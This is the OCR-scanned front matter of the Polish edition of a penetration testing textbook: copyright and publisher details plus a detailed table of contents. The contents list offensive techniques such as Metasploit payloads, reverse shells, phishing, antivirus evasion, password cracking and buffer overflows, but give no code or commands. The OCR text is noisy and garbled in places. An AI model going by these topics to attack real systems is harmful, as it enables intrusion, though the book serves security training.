Bezpieczny system
w praktyce

Wyisza szkota hackingu
| testy penetracyjne

5. Georgia Weidman

Helion¥.

nnnnnnn



Tytut oryginatu: Penetration Testing: A Hands-On Introduction to Hacking
Ttumaczenie: Grzegorz Kowalczyk
ISBN: 978-83-283-0352-2

Original edition Copyright © 2014 by Georgia Weidman.
All rights reserved.

Published by arrangement with No Starch Press, Inc.

Polish edition copyright © 2015 by Helion S.A.
All rights reserved.

All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means,
electronic or mechanical, including photocopying, recording or by any information storage retrieval system,
without permission from the Publisher.

Wszelkie prawa zastrzezone. Nieautoryzowane rozpowszechnianie catosci lub fragmentu niniejsze;j
publikacji w jakiejkolwiek postaci jest zabronione. Wykonywanie kopii metoda kserograficzna,
fotograficzna, a takze kopiowanie ksigzki na nosniku filmowym, magnetycznym lub innym powoduje
naruszenie praw autorskich niniejszej publikacji.

Wszystkie znaki wystgpujace w tekscie sg zastrzezonymi znakami firmowymi badz towarowymi ich
wilascicieli.

Autor oraz Wydawnictwo HELION dotozyli wszelkich staran, by zawarte w tej ksiazce informacje byty
kompletne i rzetelne. Nie biorg jednak zadnej odpowiedzialnosci ani za ich wykorzystanie, ani za zwigzane
z tym ewentualne naruszenie praw patentowych lub autorskich. Autor oraz Wydawnictwo HELION nie
ponosza réwniez zadnej odpowiedzialnosci za ewentualne szkody wynikle z wykorzystania informacji
zawartych w ksiazce.

Wydawnictwo HELION

ul. Kosciuszki 1c, 44-100 GLIWICE

tel. 32 231 22 19, 32 230 98 63

e-mail: helion@helion.pl

WWW: http://helion.pl (ksiggarnia internetowa, katalog ksiazek)

Drogi Czytelniku!

Jezeli cheesz ocenié t¢ ksigzke, zajrzyj pod adres
http://helion.pl/user/opinie/besyha

Mozesz tam wpisaé swoje uwagi, spostrzezenia, recenzjg.

Printed in Poland.

« Kup ksigzke « Ksiegarnia internetowa
« Pole¢ ksigzke « Lubie to! » Nasza spotecznosc
» Ocen ksigzke



http://helion.pl/rt/besyha
http://helion.pl/rf/besyha
http://helion.pl/ro/besyha
http://helion.pl
http://ebookpoint.pl/r/4CAKF

Spis tresci

SLOWO WSTEPNE 17
PODZIEKOWANIA 21
WPROWADZENIE 23
Kilka stOW POAZIEKOWANIA ......eooviiiiiiiiiiiieiieeee ettt sttt 24
Kilka STOW O KSIGZEE ...c.uvviieiiiiiiiiieeiectece ettt et e st e e sae e s b e e saeesaeensnesans 25
CZESC | POASLAWY ...ttt et sttt ettt see e e b s 25
CZS€ I1. PrzygOtOWANIA ...coveeveeieeiieieteienteeierieeit ettt ettt ettt et see b saeeae et nens 26
(@ 4 ol | | N -1 OSSR 26
Cze$¢ IV. TWOIrzZenie eXPlOItOW .....c..cecerueeiiieiiniinienenieeiteieeitet et seesresse st et esneneens 27
Czesc¢ V. Ataki na urzadzenia mobilne ..........ccooiiiiiiiiiinii 28

o
ELEMENTARZ TESTOW PENETRACYJNYCH 29
Etapy testOw PenetracyjNyCh ........coccociiiirierenineniee ettt 30
FAzZa WSEPNA ......ooviiiiiiiiiiiic 31
Zbieranie iNfOrMAC)i ......ccoveeriiriiiieiiee ettt ettt st st sb e e e 32
MaPOWANIE ZAGIOZEN .....eiuiiiiiiiiieeieeteete ettt ettt et ettt s e sbe e bt et satesaeesbeenaeens 33
Wykrywanie i analiza POdatnOSCi .......c.ceceruiriinieniiiniieienieriestesieesie et see e 33

Kup ksigzke

Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

Powtfamaniowa eksploracja skompromitowanego systemu ...........cccceecververeeniienieneeennen. 33
RAPOIOWANIE .....coiiiiiiiiiiiiic s 34
POASUMOWENIE .....iiiiiiiiiiiiieieieettet ettt ettt st ettt be b sae et et 36
Czesé |l
Podstawy
|
TWORZENIE WIRTUALNEGO SRODOWISKA TESTOWEGO 39
Instalowanie Pakietu VIMWAIE ........ccccceviiiiiniiniieieiieetest ettt st 39
Instalacja i konfiguracja systemu Kali LiNUX .......coccevieieeiieniininininencieeecieieseeeeseeeee e 40
Konfiguracja potaczen sieciowych maszyny Wirtualngj ..........cocceceeeeereerienieneenenenneneneene 44
Instalowanie pakietu INESSUS ..........cccccuiriirieriinininee ettt 48
Instalowanie dodatkowych pakietéw oprogramowania ..........c..ccceceviininiiininiiininiennne, 52
Instalowanie emulatoréw systemu Android .........coceeceevieeienieneenenneneeeseeeee e 54
SPF — Smartphone Pentest Framework ..........ccccooiiiieiiininninieniiceeeeeeeeeeeeee e 60
Instalacja wirtualnych CelOw ataku ..........coceeeeriiriiiiiinienieieeeeeeeseee et 61
Tworzenie maszyny-celu z systemem Windows XP ........ccccooiriiiiiniininninienenececeeene 62
VMware Player w systemie Microsoft Windows ..........cccccceveriririnicieneneneneneeceeeeens 62
VMware Fusion w systemie Mac OS ... 65
Instalowanie i aktywacja systemu WINdOWS ..........cceeiueriiiriienieniiieeieeeeeteseeseeeeeeee e 65
Instalowanie pakietu VMware TOOIS .......cccoceiiiriinieiiiienieeteeeeee ettt 68
Wytaczanie zapory sieciowej systemu Windows XP ........ccccceveriiiiinenninncnieeneenenieeeens 70
Ustawianie haset dla kont uzytkoOWniKOW .........cc.cccieierieniiniiiiienerceeeeeeeeeeeeene 70
Ustawianie statycznego adresu [P ............ccocoiiiriiiieiinieneeece et 71
Konfiguracja systemu Windows XP do pracy jak w domenie ........cccccccevvevvenenenenenennne 73
Instalowanie oprogramowania podatnego na ataki .........c.cccecviiiiniiiiniiinne 75
Instalowanie pakietow Immunity Debugger oraz Mona ..o, 8l
Tworzenie maszyny-celu z systemem Ubuntu 8.10 .........ccceriiiiiiiininiiniinieneeeeeeeceeeene 82
Tworzenie maszyny-celu z systemem WINdOWS 7 .......ccccoevereririieienienieneneneeeeiceee e 83
Tworzenie konta UZYtKOWNIKA .........cocerviirieriiniieeeeeceeeeeeeeeese e 83
Wytaczanie automatycznego instalowania aktualizacji ..........cccccevverveneincnniniinicniiieenen. 85
Ustawianie statycznego adresu [P ... 85
Dodawanie kolejnego interfejsu SieCIOWEEZO ..........ccucivuiiiiniiiiiniiiiiiciccces 87
Instalowanie dodatkowego Oprogramowania ..........c...ceeeeeerierrierrieneeneeneesieseeseesieeneeens 88
POASUMOWENIE ..ottt s 90
2
PRACA Z SYSTEMEM KALI LINUX 91
Wiersz polecen SYSteMU LINUX .......ccccoiiiriiiiiriiinieniteieeteeieete sttt et st 92
System PIIKOW W LINUKSIE ......coeiriiiiiiiiiieieeieeeeteeeeeeeteeteee ettt 92
Zmiana KatalOZOW .....c.eeuiriiiiiniieiieieeeeteete ettt sttt ettt ettt s 92
6 Spis tresci

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

Dokumentacja polecern — strony podrecznika man .........c..cocceecereieriereenennenieneeneeeeeeenne 93

Uprawnienia UZYtKOWNIKOW ......cc.coiririiiiieiinientteeeteteteteste sttt sr e st aene 94
Dodawanie kont uzytkownikOw ...........ccccciiiiiiiiiniiiiii 95
Dodawanie konta uzytkownika do pliku sudoers ............ccccoevveriiiiniiiiinininenineeceeeens 96
Przetaczanie kont uzytkownikéw i korzystanie z polecenia sudo ........c.ccocceeveenieneenieeeene 96
Tworzenie nowych plikdw i KatalogOw ..........cccccievieriinerininiiieieieieseseeeeee s 97
Kopiowanie, przenoszenie i usuwanie plikOW ..........cccccoveeviiriinienienenneneneeneeneeeeeeee 97
Dodawanie tekstu do PIIKU ..c..coeruiiiiiiiieieriee ettt 98
Dotaczanie tekstu do pliku .........ccccoiiiiiiiiniiiiii 99

Prawa dostepu do PlIKOW ........c.coiiiiiiiiiiiiiic 99

Edytowani@ PIIKOW .......c.ooiiiiiiiiieiee ettt et e 100
WYSZUKIWANIE TEKSTU ...eeeeiiiieiieiiee ettt 101
Edytowanie plikow przy uzyciu €dytora Vi ........ccccceeeeveereeneeneenieniienieneeneeseeee e 101

Przetwarzanie danych ...t s 102
Zastosowanie POlECENIA GIreP .......coevueriririiiiieieiertertere sttt sre e sttt 103
Zastosowanie Polecenia SEA ........cccceeriririiiiiiieeeee et 104
Dopasowywanie wzorcéw za pomoca polecenia awk ..o, 104

Zarzadzanie zainstalowanymi pakietami Oprogramowania .........c..cceceeeeereenieeneeenieneeneennens 105

ProCesy i USTUGI ....coveiiiiiiiiiieeeete ettt st be et e 106

Zarzadzanie pofaczeniami SIECIOWYMI .c...coveriiriiiriiiiinienieeieete ettt sreeeeae 106
Ustawianie statycznego adresu [P ..........ccccocviiiiiiiiiiiiiicceererce e 107
Przegladanie pofaczen SieCioWyYCh .......c.cccciiriririiiiiecee e 108

Netcat — uniwersalne narzedzie do potaczen TCP/IP .......ccccccoiviviiniiniinieninineneeeeeees 108
Sprawdzanie, czy system zdalny nastuchuje na danym porcie ..........ccocceveriiiniienienennnenns 109
Proces nastuchujacy polecen POWIOKI ........cceovueriiriiiniiiiiieiiete e 110
»Wypychanie” powlioki do procesu nastuchujacego ...........cceceeveervienieniineenenncnicneene I

Automatyzacja zadan za POMOCG ProCESU CrON ........cocuereereerreenrerreeeeneenreenreenseeneseesseenes 112

POASUMOWRNIE ..ottt et 113

3
PROGRAMOWANIE s

SKrypty POWIOKI Dash ......c.oiuiiiiiie e 15
POIECENIE PING ..cnveeneieniieiieteetee ettt ettt ettt 115
Prosty skrypt powtoki bash ............ccoooiiiiiiiiii 116
Uruchamiani@ SKIYPLU .........ooeiiiiiiiiiieictceee ettt s 17
Dodawanie nowych mozliwosci za pomoca polecenia if ........ccocceeeevierveeneeneecenceennenen. 17
PEEIA FOF .ttt ettt sttt ettt et et e b e e e teenteeaeas 118
Zwigkszanie przejrzystosci wynikow dziatania ..., 120

Skrypty W jezyku Python ..o 123
taczenie z wybranym portem SIECIOWYM .......cccueiiiriiiiiiiineee et 124
Instrukcja if W jEZykU PYLhON ....ccc.coiiiiiiiiiiiiiiietccee e 124

Pisanie i kompilowanie programow w jezyku C .......c.cccoviriiriiniiiinienienieeeeeeeee e 125

POASUMOWENIE ......eiiiiiiiiiciciceee ettt 127

Spis tresci 7

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

4

PAKIET METASPLOIT FRAMEWORK 129
Uruchamianie pakietu Metasploit ..........cceceeuerierienennienieneeneeieeeetestesieeie e saeenee 131
Wyszukiwanie modutéw pakietu Metasploit ..........ceceeveevierieriinineneneeeeeeseese e 132

Baza modutow pakietu Metasploit ...........ccoceveriririiiienieierereneneeee e 133
Whbudowane polecenie SEarch .........cccocvieirieiieiienieneneeneeeecee e 134
Ustawianie opcji modufu @Xploita ..........cccoeviiiiiiiiiiiiiiii 137
OPCJa RHOST ...ttt ettt ettt ettt 138
OPCJa RPORT ..ottt ettt ettt 138
OPCja SMBPIPE ..ottt ettt 138
OPpCja EXPIOit TArGELt ....cocveeieeieiieieeieeeeteeeette ettt st see e et 139
Eadunki (KOd POWIOKI) .....eveeueriiiiieicieiertieee ettt s 140
Wyszukiwanie kompatybilnych tadunkow ............ccccooviiininiinniniiiiicie 140
Przebieg tEStOWY ....ccviiiiiiiiieicee s 41
ROAZAJE POWIOK ...ttt ettt et et st st 142
BiNd Shell ..voniiece ettt 142
ReVErsSe Shell .....ouiiiiiiiiiiie e 143
Reczne wybieranie tadunku ...........c.cociiririiiiiieeeeneee et 143
Interfejs wiersza polecen MSFCli ........cccoeiiiiiiiiiiiiiiieeeeee e 145
UZysKiWani€ POMOCY .......ccccevuiiiiiiiiiieiieieeieete ettt ettt neenesaeesaeesaeene e 146
WysSwietlanie OpCji ......ccovuiiiiniiiiiiiiii e 146
BAUNKI ..ottt sttt 147
Tworzenie samodzielnych tadunkéw za pomoca narzedzia Msfvenom ..........c.ccceceeveennene. 148
Wybieranie tadunku ........c...oceoiriiriinieeeeeee ettt 149
USLAWIANIE OPCji ceveverriruieieeiententenienieeie ettt estestee bt sateat et estesestesbesae e st et estenneseeseseensenne 149
Wybieranie formatu tadunku ..........c..cccccoiiiiiniiniiniieeeee e 150
Dostarczanie tadunkOw ...........ccoociiiiiiiiiiiiiiiiiie e 151
Zastosowanie modutu multi/handler ............ccccooiiiiiiiniiiniinteeeeee e 151
Zastosowanie dodatkowych ModUIOW .........cccceiiiiiiiiiiiiiiiieteeee e 153
POASUMOWENIE .....ouiiiiiiiiiiiicicitc e 155
Czesc ll
Przygotowania

5

ZBIERANIE INFORMAC]I 159
OSINT — bialy WYWIad .....ccoviiieiriirieiniinieieee ettt ettt 160

INELCIAE ...t 160

ZAPYLANTA WROIS ...ttt ettt ettt e bt e bt e b e et e e b e eaae e nae 61

Zapytania DINS ..ottt 162

Poszukiwanie adreséw poczty elektroniczne] ..........ccccccceeeeevueriiinieniinieniinienieneeeeen 165

MAIEEEO ..ottt e e s 166
8 Spis tresci

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

SKANOWANIE POIOW .....eviiiiiiiiiieieienteeie ettt sttt ettt et se e bbbttt aesaenbesaeeseene 170

Reczne skanowanie POrtOW ........c..ccceeciiiiiiiiiniiniiiiicieceeeeee et e 170
Skanowanie portow przy uzyciu programu NMmMap ..........cccccviviiininiininiincns 172
POASUMOWRNIE .....eiiiiiiiiiieieieeeee ettt sb s st e aes 180

6
WYSZUKIWANIE PODATNOSCI | LUK W ZABEZPIECZENIACH ............ 181
Od skanu z detekcja wersji do wykrycia potencjalnej luki w zabezpieczeniach .................. 182
INESSUS ...ttt sttt et st ettt b e bbbttt et b b sa ettt aen 182
Karta Policies — tworzenie polityki skanowania Nessusa ..........c.cccoceeveenennieniicnieneennen. 183
Skanowanie za pomMOCg NESSUSA ....c..ccueruiruiririiieieieniest ettt 186
Kilka stéw na temat rankingu podatnosci i luk w zabezpieczeniach ..........cccceceviennnnnee. 189
Dlaczego powinienes uzywac skanerdw podatnosCi? .........cccceceeeeieeerieneneneneneeeeeenne 189
Eksportowanie wynikdw skanowania ...........ccccociiiiiiiiiiinini 190
Odkrywanie podatnosci i luk w zabezpieczeniach ..............cccccoviiiiniiininiinii, 191
NSE — Nmap Scripting ENGINE ......cccuooiiiiiiiiiiieeeeeeteeteeeee ettt 191
Uruchamianie wybranego skryptu NSE .........cccooiiiiiiiiiinieneeeeneeeeseeeee et 194
Moduty skanerdw pakietu Metasploit ........c..ccoceereeririiniiirienieeeeeeeee e 196
Sprawdzanie podatnosci na exploity za pomoca polecenia check pakietu Metasploit ......... 197
Skanowanie aplikacji INtErNELOWYCH .......c.ccoiiiiiiiiiiiniineneeecet et 199
Paliiet INTKEO ....oviuiiiiiiiiiccc e 199
Ataki na pakiet XAMPP ..o 200
Poswiadczenia domYSINE ........cooiiiiiiiiiiiiiiiieeeee e e e 201
Samodzielna analiza POdAtnOSCi .......cocueeiiriiiriiiiiinierterteee ettt ettt 202
Eksploracja nietypowych POrtOW .......ccccocerieriiineiienierececeeeeee et e 202
Wyszukiwanie nazw kont UzytkOWNIKOW ..........cccceciiiiiierienenininineeeeieieseeeeeeeeeeeees 204
POASUMOWENIE ...ttt 205

7
PRZECHWYTYWANIE RUCHU SIECIOWEGO 207
Przechwytywanie ruChU W SIECT ........ccuevuiiiiriiriiniriieieeceetee e 208
Zastosowanie programu WiIreshark .........cc.coceeeeeierierenininnceeceeeesese e 208
Przechwytywanie ruchu SieCioWego ..........cccuiiiiiiiiiiiiiiniii 209
Filtrowanie ruchu SIECIOWEZO .....c..ccouiiiiiiiiiiiiieteeeeeeetete et 210
Rekonstruowanie Sesji TCP ........cciiiiiiiiiiiieeeeee ettt s 211
Analiza Zawarto$Ci PAKIELOW ......c..cocueriirieriiiniieieeieetenitenie ettt see ettt sae e reas 212
Ataki typu ARP Cache POISONING ......cccitiiiriiriinieniieieteeteneene sttt 213
Podstawy protokofu ARP ........c..coeriiiiiiieennen ettt e 214
Przekazywanie pakietow IP .......c..coooiiiiiiiiiieneccestee e 216
Zatruwanie tablicy ARP przy uzyciu polecenia arpspoof ...........cccceveverenenvereeneeneeniennens 217

Zastosowanie zatruwania tablic ARP do podszywania sig

pod domysing brame SIECIOWE .......ceuieiiiiiiiiiiiieeeeceeeeee et e 219
Ataki typu DNS Cache POISONING .....cc.coteiiriiriiniininieteieteeee sttt 220
Zatruwanie DINS — POASLAWY .....ccccouiriiriririeieteiestetestese ettt sttt e 222
Zatruwanie DNS przy uzyciu polecenia dnsSpoof ..........ccccueveevievienieneneneneneeeeecieeene 222
Spis tresci 9

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

ALAKT SSL ..o e 224

SSL —— POASLAWY .ottt ettt ettt ettt b e s sttt et e b e ae st 224
Zastosowanie programu Ettercap do przeprowadzania atakéw SSL MiTM ................... 224
Ataki typu SSL SrPPING ...ccvovviviiiiiiiiiiiicic s 226
Zastosowanie Programu SSLSTIP ...c.ccceerieriiirreriienieniereente ettt s 228
POASUMOWRNIE .....eiiiiiieiciriecrtcet ettt s 230
i
Ataki
8
EKSPLORACJA SRODOWISKA CELU 233
Powracamy do [uki MSO8-067 ...........cccoeririririninieteieteteseeseeee sttt sae e 234
Eadunki Metasploita .........cccoueruiririririeiciceteeeee ettt s 234
MELEIPIELET ...cuveiiiiiieiieteteteete sttt ettt ettt et ettt b e b b ettt esesae b s b saeebeeaeene 236
Wykorzystywanie domyslnych poswiadczen logowania w dodatku WebDAV ................... 237
Uruchamianie skryptow na atakowanym serwerze WWW ...ciiiiiiiininiincieneee 238
Kopiowanie tadunku przygotowanego za pomoca programu Msfvenom .........cccceceueeee. 239
Wykorzystywanie otwartej konsoli phpMyAdmIn ........ccccoceeviiiieienineninenneeeeceeeeeen 241
Pobieranie plikow za pomocg TFTP ......cccciiiniiiriiietceerenen e 243
Pobieranie wrazliwych plikOw ............cccciiiiiiininiiiiii 244
Pobieranie pliku konfiguracyjnego .........cccccoueoieiiiiiiiiiieieeeeeeeeeeeeee e 244
Pobieranie pliku WIndows SAM ........oiieeeee ettt 245
Wykorzystywanie btedéw przepetnienia bufora w innych aplikacjach .........c..ccoccoeeeenniae 246
Wykorzystywanie luk w zabezpieczeniach innych aplikacji internetowych ......................... 248
Wykorzystywanie luk w zabezpieczeniach ustug ..........cccoceeviirinininininicceceeeee 250
Wykorzystywanie otwartych udziafdw NFS ........cc.ccooiiiiiiiiiiccccceeee 251
POASUMOWENIE .....iiiiiiiiiiiiicieente ettt sttt sae e 253
9
ATAKI NA HASLA 255
Zarzadzanie hastami ..........ccoceeiiriinii et 255
ALaKT tYPU ONTINE <.ttt ettt e s e be b et st e saee et 256
Listy Raset .....cc.ciiiiiiiiiiic s 257
Odnajdowanie nazw kont uzytkownikdéw i haset przy uzyciu programu Hydra ............. 261
ALaKi tyPU OFING .t st 263
Odzyskiwanie haszy haset systemu Windows z pliku SAM ..o 264
Pozyskiwanie zahaszowanych haset
z wykorzystaniem fizycznego dostepu do SysStemu ...........cccccciviniiiiiniiiiiniiinine 266
Algorytm LM kontra NTLM ..o 269
Problem z haszami haset w formacie LM ........c.cccoiiiiiiiiiiiiiniiccccceee, 270
JORN the RIPPET ...ttt st sb e 271

10 Spis tresci
Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

tamanie haset systemu LINUX ......cccooieiriiiiiiiieeeneee ettt e 272

tamanie haset przechowywanych w plikach konfiguracyjnych ..........ccccocvinvninninncnne 274
TECZOWE tADlICE ...ttt et st sttt 275
Ustugi tamania haset dostgpne W SieCi ..........ccciviiiiiiiiiiiiiii 275
Pozyskiwanie haset z pamieci operacyjnej za pomoca programu
Windows Credentials EIitor ...........ccoeoiiiriiiiiiniiieineceeeeeeeee et 276
POdSUMOWANIE .....oeiiiiiiiiiiiiic e s 277
10
WYKORZYSTYWANIE LUK W ZABEZPIECZENIACH
PO STRONIE KLIENTA 279
Omijanie filtrowania za pomoca fadunkéw pakietu Metasploit .........cccceeeeveriienieneenenneenne 280
EadUNEK AlIPOIES ..ottt ettt 280
Eadunki HTTP i HTTPS .ottt sae e 282
Ataki po Stronie KIENTA ........ccceeiiiiiiiiieieee ettt 283
Luki w zabezpieczeniach przegladarek sieciowych ............ccccoiviiiniiininiiiiniiii 284
Exploity dla plikdw PDF .......ccccoiiiiiiiiiiicc 292
Luki w zabezpieczeniach Srodowiska Java .........cccceceecieiiiiiniinininiiicicceeeeee 298
Modut browser_aUtOPWN .......c..ccceviiiiiiiiiiiiintcee e 304
WINGIMP ettt sttt ettt et et s et b e et s st e saeesbe e bt et e et e saneeanennean 307
POASUMOWANIE ......oviuiiiiiieiiiieei ettt et 309
1
ATAKI SOCJOTECHNICZNE 311
Pakiet SET — Social-Engineer TOOIKIt ........c.coccervieriiniiniiienieneeeeeeeteeeseee e 313
Ukierunkowane ataki phiShiNGOWE .........cccoereriiriiiiiiiieieseesee e 314
Wybieranie fadunku .........cccoeiiriririiieiceenee ettt st 315
USEAWINIE OPCi weverveuiruieiieienientinieniteteteteste sttt et ste st s besae e sttt ne st esbesaeene et eneenne 315
Wybieranie nazwy generowanego pliku ............cccocviiiniinniiinni 316
Jeden czy Wielu adreSatOw? ..........coeiviiiiiiiiiiertete ettt st 316
Tworzenie szablonu wiadomosci €-mail .........ccceceeiiiiiiiniinininiiccce 316
Definiowanie celu ataku ..o 317
Tworzenie procesu NAastUChUJACEZO0 .......coveriiririiririiieiceesee e 318
Ataki z wykorzystaniem stron internetowych ........cc.coccoceviivirinininineccccee e 319
Masowe ataki €-MailoOWe .........cccciiiiiiiiiiiiiiiii e 322
Ataki WIielOPlaSZCZYZNOWE .....couiiiiiiiiiiiiieieeeeetete ettt 325
POASUMOWENIE ....oouiiiiiiiiiiiiiiteeccece ettt 326
12
OMIJANIE PROGRAMOW ANTYWIRUSOWYCH 327
TIOJANY .ttt ettt et b ettt et eat e bt e bt et et e et e e abesatesbe e bt et e et e e st e ebe e beenbeas 328
MSTVENOM ..ttt st ettt 328
Jak dziataja aplikacje antyWirUSOWE? .........cccceceriiiriirieniiienteeeesitetee ettt 331
Microsoft Security ESSENLIAlS .......cc.coueriiririririiieteeeer et 332
Spis tresci 11

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

ATy e - SRR 333

Omijanie programow antyWirlUSOWYCH .......coccoiiiiriiriininenieietctese sttt 334
KOOWERNIE ...ttt st s 335
Niestandardowe metody kompilowania .............ccoccciiiniiiiininiiiniie 338
Szyfrowanie plikéw wykonywalnych przy uzyciu programu Hyperion .........cc.ccccceeueneen. 341
Omijanie programéw antywirusowych przy uzyciu pakietu Veil-Evasion ....................... 343

Ukrywanie na widoku, czyli najciemniej jest pod latarnia ..........ccceecveeeverieneeneeneencnncneenne 347

POASUMOWENIE ......eoiiiiiiiiiiiiecce e e 347

13
POWLAMANIOWA EKSPLORACJA
SKOMPROMITOWANEGO SYSTEMU 349

MELEIPIELEL ...ttt ettt ettt et et e bt st s et e s bt e bt et e e b e sasesatesbeesbeenbeensesmeesneenne 350
Zastosowanie polecenia UPload .........cccceueriereinieriienieneeneeie ettt 351
Poleceni@ GELUI .........coeiiriiiriieiieetetete ettt sttt e 352
Inne polecenia Meterpretera ... 352

SKIYPty MELErPretera .......ccviviiiiiiiiiiiiiiciieecrter et 353

Moduty Metasploita wspomagajace powtamaniowa eksploracje systemu ..........cccceeceeeeenne 354

RAIGUN ettt ettt st b e bt ettt e b e be e e e eesaeeae 356

Lokalne podnoszenie uprawnien Uzytkownika ..........c.cccoceereerieniniiennienienieneeseeceeceeene 356
Polecenie getsystem w systemie WINdOWS ..........cccceeverierienenninienieneeseereeeesee e 357
Moduty typu Local Escalation dla systemu Windows .........cccceeeerieieeiiicniencnenenenene 358
Omijanie mechanizmu UAC w systemie WIiNdOWS ..........ccccceevererirninieenieneneneneeeenees 359
Podnoszenie uprawnien w systemie LiNUX ..........ccccoiviniiiiiniiininiiiiiiiceenns 361

Wyszukiwanie informacji w skompromitowanym systemie .........c.cccecueeveeneeneenennerneeneenne 366
WySZUKIWANIE PIKOW ...ttt 367
Przechwytywanie nacisnietych klawiszy (keylogging) ......c...ccceeeeveenerveniieneeneenieniennne. 367
Gromadzenie po$wiadczen logOWaNIa ........cccceerereriirieierienieneneneee ettt 368
POIECENIE NEL ...t 370
INNE SPOSODY ..o 371
Sprawdzanie historii polecen powtoki bash ............cccccoiiiiiiiiiiiiinie 372

Przechodzenie na Kolejne SYSTEIMY .......c.cocuiriiriiriinieiieeteetesit ettt sttt s 372
PSEXEC ..t 373
Uwierzytelnianie za pomoca skrétéw — ataki typu pass the hash ...........ccocooevenencnenns 374
SSHEXEC .ttt e 376
Tokeny Personifikacji ..........ceeeierieiirieriirenereeeet et s 377
[NCOZNITO ....viiiiiiiiciiiic e 378
Modut SMB Capture ........ccoouciiiniiiiiiii s 379

PIVOTING .ttt ettt et s a e st e sttt e e ebe e s bt e b e e beebeenbesatesaeenne 382
Dodawanie tras za pomocg POlECENia FOULE .........coeerueerueeveruenienieeieereneeneeseeenneeeenaee 384
Skanery portéw w pakiecie Metasploit .......c.ccoerererieiieiieiieneneneeeeee e 384
Wykorzystywanie luk w zabezpieczeniach za posrednictwem pivota ...........cccceveuenenee. 385
Modut Socks4a i program ProxyChains ...........ccccevereeiriienienieneneneeeeceteseeseese s 386

12 Spis tresci
Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

Utrzymywanie dostepu do skompromitowanego SYStEMU .........ccceeereeeeeereeneeneneneeeenees 388

Tworzenie nowego konta UZYtKOWNIKA .........ccceeviiviiriinenininieceieeeteseneeee et 388
Zapewnianie dostepu za pomocg Metasploita ...........ccceeerieiieiieniinienenenineeeceeens 389
Tworzenie zadar cron w systemie LiNUX ..........ccccviiiiniiiiiniii 391
POASUMOWENIE ...ttt st 392

14
TESTOWANIE APLIKAC]I INTERNETOWYCH 393
BUIP PrOXY ..ttt ettt ettt ettt et bt e bt e bt ae e 394
Wstrzykiwanie kodu SQL ........coiiiiiiiiiie ettt 399
Testowanie podatnosci na wstrzykiwanie Kodu .........cccccceveeereeiieiienieneneneneneeeceeeens 400
Wykorzystywanie podatnosci na ataki typu SQL Injection .........cccocccvviiiiiininiinnnnnnn. 401
Zastosowanie programu SQLMap .......coccoiiiiiiiiiii e 402
Wstrzykiwanie Kodu XPath .........c..cocieiiiiniiiieieeeeeceeeectee ettt 403
Ataki typu LFI — Local File INCIUSION ...c..coiiiiiiiiiinienieeeeecerc et 405
Ataki typu RFI — Remote File INClusSion ...........cccociiiiiiiinininiiice, 408
Wykonywanie POIECEN ........couiriiriiiiieieeeeete ettt ettt 409
Ataki typu XSS — Cross Sit€ SCriPting ......coceeeeerierreriienieneereeteeteeteete st 411
Sprawdzanie podatnosci na ataki typu reflected XSS .......c.cooveiiiiriinees 412

Przeprowadzanie atakéw typu XSS

za pomocg pakietu Browser Exploitation Framework (BEEF) .........cccceceevvevienicncnenennen. 414
Ataki typu CSRF — Cross-Site Request Forgery ..o, 418
Skanowanie aplikacji internetowych za pomoca programu w3af ..........cccceeverieniicneenennenne 419
POASUMOWRNIE ......eeviieiieiiicieieiceeret ettt ettt ns 421

15
ATAKI NA SIECI BEZPRZEWODOWE 423
PrZYSOtOWANIA «..cuvetiiieiieieietet ettt ettt ettt a bt ettt sbesb et et et aen 423
Wyswietlanie listy dostepnych bezprzewodowych interfejsow sieciowych .................... 425
Wyszukiwanie bezprzewodowych punktéw dostgpowych ........ccccccvviiiiiiniiininnnn. 425
TIYD MONITOIA ..ttt b e b ettt satesbe e bt et e b e eabesabenneen 426
Przechwytywani€ PaKiEIOW ........cc.cocueiviirierieniienieeieete ettt ettt et 427
Sieci bezprzewodowe z otwartym dOStEPEM .........cccvereririririeierentenene et 428
ProtokOl WEP .......ccoiiiiiiiteeeceeete ettt 428
Stabosci Protokotu WEP ..ottt 431
tamanie kluczy szyfrowania WEP za pomoca pakietu Aircrack-ng ......c...cccceeeeveeneennenns 432
Protokdt WPA — WiFi Protected ACCESS .....c..coeruieiiiiiiiiiiieiiecectecteie e 437
ProtokO WPAZ .......ooiiiiiieeee ettt ettt 438
Podtaczanie klientow w sieciach WPA/WPA2 ENterprise .........cocceeveveeievveneneneneneeeenns 438
Podtaczanie klientéw w sieciach WPA/WPA2 Personal ..........cccocevieneinenienienieneeeee 439
Czteroetapowa negocjacja UWIerzytelniania ..........ccceevveerierruenieneenennenie e neeneeeeeeeene 439
tamanie kluczy szyfrowania WPA/WPAL ........cccocoevimeirneeineieenieetneeieesseseesee e 440
Protokdt WPS — W Fi Protected SELUP ....c..cocveriieiriiieieieesteeieee ettt 444
Problemy z protokofem WPS .......c..coi it 445
tamanie PIN-u protokotu WPS za pomoca programu Bully ............cccccoviiiiiiiinnnnnnnn 445
PodSUMOWANIE .....ouiiiiiiiiiiiiii s 445
Spis tresci 13

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rt/besyha
http://helion.pl/rf/besyha

[\
Tworzenie exploitow

16
PRZEPELNIENIE BUFORA NA STOSIE W SYSTEMIE LINUX ..ccccccoecceccesces 449
Kilka STOW O PAMIECH ..eeuiiiiiiiiiieiteeeee ettt sttt et e st 450
Przepetnienie bufora na stosie w systemie LiNUX ......ccc.ccceevirienieninnennenieneeneeneeeeeene 453
Program podatny na przepetnienie bufora na stosie ........c..ccocceverviereinenninnenienieeane. 454
Wymuszanie awarii PrOZramuU ........c.ccecceecueriereeneenueenreeeeneesseereeseesesneseesseessessesmeesnes 456
Praca z debuggerem GDB .........c.ccociiiiiiiiiriininieeetet ettt st 457
Wywotywanie awarii programu w debuggerze GDB .........ccccocoveriiiiiinencnenenenenee 463
